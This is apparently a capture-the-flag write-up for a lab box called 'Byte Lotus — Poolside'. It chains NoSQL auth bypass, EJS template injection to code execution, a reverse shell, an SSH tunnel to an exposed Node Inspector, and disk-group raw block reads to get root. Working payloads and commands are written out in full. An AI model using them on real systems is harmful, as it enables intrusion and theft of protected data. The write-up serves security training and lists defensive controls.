Byte Lotus — Poolside
Overview
Medium Boot2Root with a poolside/crypto theme. The box chains five separate vulnerabilities: NoSQL injection for auth bypass, Server-Side Template Injection for RCE, and a misconfiguration of the Node.js Inspector Protocol combined with group membership for privilege escalation to root.
Attack chain in short:
- Recon (nmap) → SSH + Node/Express web app
- NoSQL injection on
/login→ auth bypass as a staff account - SSTI in the EJS template preview → remote code execution as the application user
- Shell stabilization
- Discovery of a second service (
pipelinesvc) with the Node Inspector open on localhost - SSH remote port forward to tunnel the Inspector port
- Chrome DevTools Protocol (CDP) via WebSocket → code execution as
pipelinesvc pipelinesvcturned out to be a member of thediskgroup → raw block-device readdebugfsto read the filesystem straight from the block device, root flag without a mount or a root shell
1. Recon
nmap -sC -sV <target>
22/tcp open ssh OpenSSH 9.6p1 Ubuntu
80/tcp open http Node.js (Express middleware)
|_http-title: Byte Lotus — Poolside
Two ports. SSH gave no direct way in (no credentials, and the earlier-found
CVE-2025-26466 turned out to be only a pre-auth DoS with no RCE potential —
deliberately not run, it would make the box unusable).
The web app showed a login form (username + password, POST to /login)
with an attendant placeholder and a /staff route that returned 403.
Lesson: not every CVE you find is usable. First check whether it fits the attack goal (here: a DoS would crash your own attack surface) before running it.
2. Enumeration — many dead ends, and why that was valuable
Before the real vulnerability was found, the following vectors were systematically tested and ruled out:
| Vector | Result |
|---|---|
SQL injection (' OR '1'='1) |
No effect — no relational DB |
Header bypass (X-Forwarded-For, X-Real-IP) on /staff |
No effect |
HTTP-method tampering (OPTIONS/POST/PUT on /staff) |
Only GET/HEAD allowed |
| Directory enumeration (gobuster, feroxbuster recursive) | No extra routes found |
| Session-cookie analysis on a failed login | No cookie set (turned out to be normal behavior) |
| User enumeration via timing/response | Identical response, no leak |
| Themed credential brute-force (ffuf, cluster-bomb) | No hit — the password turned out to be crypto-random |
Lesson: a thorough exclusion of the obvious vectors is not wasted time — it forces you to look beyond the standard approach, and every "no" narrows the search space.
3. NoSQL injection — auth bypass
The application accepted both application/x-www-form-urlencoded and
application/json as content type on /login. With JSON, an object could
be passed as the password value instead of a string:
curl -X POST http://<target>/login \
-H "Content-Type: application/json" \
-d '{"username":"attendant","password":{"$ne":null}}'
Result: {"ok":true,"role":"staff"} — plus a Set-Cookie with a connect.sid
(express-session).
Root cause (later confirmed via the source code): the backend used NeDB
(@seald-io/nedb), a file/in-memory NoSQL database that mimics MongoDB query
syntax, including operators like $ne. The query was:
const user = await db.findOneAsync({ username, password });
No type checking on password — an object with a MongoDB-style operator changed
the meaning of the query to "password is not equal to null", which is true for
any existing account.
Lesson: the same exploitation technique (NoSQL operator injection) works on multiple NoSQL-like engines, even when the underlying database isn't MongoDB itself, as long as the query syntax is reproduced.
4. SSTI — from staff console to RCE
The /staff route showed a "Cabana Desk" console with an EJS template preview
function:
<form method="post" action="/staff/preview">
<textarea name="template">Dear <%= guest %>, your Byte Lotus cabana is confirmed.</textarea>
</form>
Server-side:
rendered = ejs.render(template, { guest: req.session.user.username, hotel: 'Byte Lotus' });
Direct rendering of user-controlled input, without sandboxing.
Detection:
template=<%= 7*7 %>
→ the preview showed 49, confirming the payload was evaluated as JavaScript,
not as plain text.
Escalation to RCE, via process.mainModule.require(...) to reach Node's own
require() outside the EJS sandbox:
template=<%= process.mainModule.require("child_process").execSync("whoami") %>
Important pitfall: a first attempt with execSync('/bin/bash') froze the
entire Node server. execSync is synchronous and blocking — Node's
single-threaded event loop waits for the child process, and a bare interactive
shell with no stdin input never ends. Result: the web server stopped handling
requests, only recoverable via a reset of the room.
Lesson: only use execSync for commands that end on their own and return
output. For interactive/long-running processes (reverse shells, subshells)
spawn/exec is the right choice, or — as here — an execSync that only
starts another, separate process (which detaches itself).
Working reverse shell, base64-encoded to avoid quote nesting between bash/curl/JS/EJS:
# build shell.js locally with your own listener IP:port, then:
base64 -w0 /tmp/shell.js
template=<%= process.mainModule.require("child_process").execSync("echo <BASE64> | base64 -d | node") %>
Lesson on quote escaping: with three nested layers (bash → EJS/JS → execSync argument) base64 encoding is the most robust solution — it sidesteps quote conflicts entirely instead of trying to solve them with ever more complex escaping.
After connecting: shell stabilized with the standard PTY upgrade
(python3 -c 'import pty; pty.spawn("/bin/bash")', followed by
stty raw -echo; fg and export TERM=xterm).
User flag: found in the home directory of the application user.
5. Privilege escalation — dead ends
Ran through the standard privesc checklist, all negative:
sudo -l→ password required, unknown- SUID binaries → only standard Ubuntu binaries
- Cron jobs → standard system cron, nothing custom
- Capabilities (
getcap -r /) → standard set (ping, snap-related) - Groups of the application user → no special groups
- Write access to the systemd service of the web app → no, root-owned
- Hardcoded credentials in the source code (
guest/sunshine) → didn't work forsudoor as a system account password (password reuse ruled out)
6. The second service — pipelinesvc
/etc/passwd and /home/ showed a third account besides the web app user:
pipelinesvc. The home directory itself wasn't readable, but:
find / -user pipelinesvc 2>/dev/null
revealed /opt/pipelinesvc/telemetry/processor.js — an innocent little
telemetry script — and an active process (visible via /proc/<pid>) that
didn't show up in a simple ps aux grep.
cat /proc/<pid>/cmdline
→ /usr/bin/node --inspect=127.0.0.1:9229 processor.js
The vulnerability: the process ran with the Node.js --inspect flag
active, bound to 127.0.0.1:9229. This activates the Chrome DevTools/Inspector
Protocol, which allows external connections to evaluate arbitrary JavaScript in
the context of the process — a known, common misconfiguration when --inspect
is accidentally left on in production.
Lesson: enumerate processes via find / -user <name> instead of only
ps aux | grep, especially if a user has no readable home directory — that
shows files and (via /proc) active processes that would otherwise be missed.
7. Making the Inspector reachable
The port was only bound to localhost, so not directly reachable from the attack machine. Solution: SSH remote port forward, from the compromised box back to your own attack machine:
ssh -i <own_private_key> -R 9229:127.0.0.1:9229 <user>@<own_ip> -N
Required preparation:
- SSH server active on your own attack machine (
systemctl start ssh) - Own keypair created and added to
authorized_keys(no password needed, since you have root access on your own machine) - Private key transferred to the target shell via a
cat <<EOFconstruct (same principle as the shell.js file earlier)
Verification on the attack machine:
curl http://127.0.0.1:9229/json
→ JSON with a webSocketDebuggerUrl, confirming the tunnel works.
8. Code execution via the Chrome DevTools Protocol
The Inspector doesn't speak plain HTTP — commands go via a WebSocket
connection with JSON-RPC-like messages (Runtime.evaluate is the CDP method for
evaluating a JS expression in the context of the process).
import websocket, json
ws = websocket.create_connection("ws://127.0.0.1:9229/<uuid>")
ws.send(json.dumps({
"id": 1,
"method": "Runtime.evaluate",
"params": {
"expression": "process.mainModule.require('child_process').execSync('id').toString()"
}
}))
print(ws.recv())
Result: uid=995(pipelinesvc) gid=995(pipelinesvc) groups=995(pipelinesvc),6(disk)
Code execution confirmed as pipelinesvc — a second, separate account besides
the web app user.
Note: the UUID in the WebSocket URL is unique per process session and changes
on every restart of the Node process — always fetch it again via /json after a
restart.
9. From pipelinesvc to root — the disk group
The crucial line in the id output: groups=...,6(disk).
Membership of the disk group gives read access to raw block devices
(/dev/nvme0n1p1 etc.) — the underlying storage device the entire filesystem
sits on. That bypasses all normal file permissions completely, because you're
not reading via the filesystem itself but via the raw disk bytes beneath it.
No mount is needed (that would require CAP_SYS_ADMIN, which group
membership alone doesn't give). Instead: debugfs, a tool that can
interpret and read an ext filesystem directly from a block device, without
mounting it.
lsblk
→ confirms which partition is the root partition (nvme0n1p1).
debugfs -R "cat /root/root.txt" /dev/nvme0n1p1
Root flag read, without ever having had a root shell.
Lesson: group membership is often overlooked in privesc enumeration relative
to SUID/sudo/cron. The disk group is a classic example of a group that is
functionally equivalent to root read access to everything, without any sudo rule
or SUID bit being involved.
Summary — vulnerabilities and causes
| # | Vulnerability | Root cause |
|---|---|---|
| 1 | NoSQL injection / auth bypass | No type validation on request-body fields before use in a NeDB query |
| 2 | Server-Side Template Injection | Direct ejs.render() of user-controlled input without a sandbox |
| 3 | Exposed Node Inspector | --inspect active on a service, even if bound to localhost |
| 4 | Unnecessary group membership | pipelinesvc member of disk, effectively giving root read access |
Comparison with a professional context (DORA/NIS2 relevance)
Every step in this chain is also a concrete control that belongs in an ICT risk assessment:
- Input validation at the API level (prevents #1)
- No user input straight into a template renderer (prevents #2)
- Debug flags never in production services (prevents #3)
- Least-privilege group membership, periodic audit of system accounts (prevents #4)
Note: IP addresses and exact flag values are deliberately omitted/abstracted in this writeup.